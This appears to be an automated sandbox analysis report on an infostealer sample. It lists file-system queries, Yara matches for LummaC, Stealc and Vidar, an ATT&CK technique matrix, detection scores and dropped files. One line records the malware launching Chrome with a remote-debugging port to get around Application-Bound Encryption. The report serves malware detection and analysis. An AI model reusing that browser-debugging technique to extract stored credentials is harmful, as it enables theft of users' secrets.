Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Directory queried: number of queries: 2390

Source: Yara match	File source: 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2866641995.0000000001421000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2628466446.0000000001667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2867528854.0000000001432000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2876772993.0000000001433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2806845000.0000000001422000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2829707200.0000000001420000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2828056172.000000000141D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2566179633.0000000001667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2866408312.0000000001421000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2866766045.0000000001421000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2805701051.0000000001425000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2829000705.0000000001420000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2809933804.0000000001432000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2865906204.000000000141D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2633550912.0000000001671000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2808523788.0000000001422000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2876824904.0000000001438000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2498025782.0000000001252000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2808942829.0000000001422000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2876683720.0000000001433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2805628295.000000000141D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2566286818.0000000001667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2845208625.0000000001420000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 3288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 932a9eb371.exe PID: 3980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 5180, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 3288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 5180, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 7.2.44e053de15.exe.62b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.44e053de15.exe.6680000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.932a9eb371.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.932a9eb371.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.932a9eb371.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2869260656.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2752337356.0000000008AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2985941651.00000000062B1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2842323679.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2866571637.0000000000031000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2452950173.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2797456590.000000000101E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2787161669.0000000000031000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2949918486.0000000000031000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2656371026.0000000008520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2592438945.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2934224445.0000000006681000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 3288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 932a9eb371.exe PID: 3980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 5180, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: 932a9eb371.exe PID: 3980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 5180, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_009BEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_009BEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_009BDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_009BDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	5 Obfuscated Files or Information	Security Account Manager	22 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	246 System Information Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	54%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\DocumentsBAEBGHCFCA.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	100%	Joe Sandbox ML
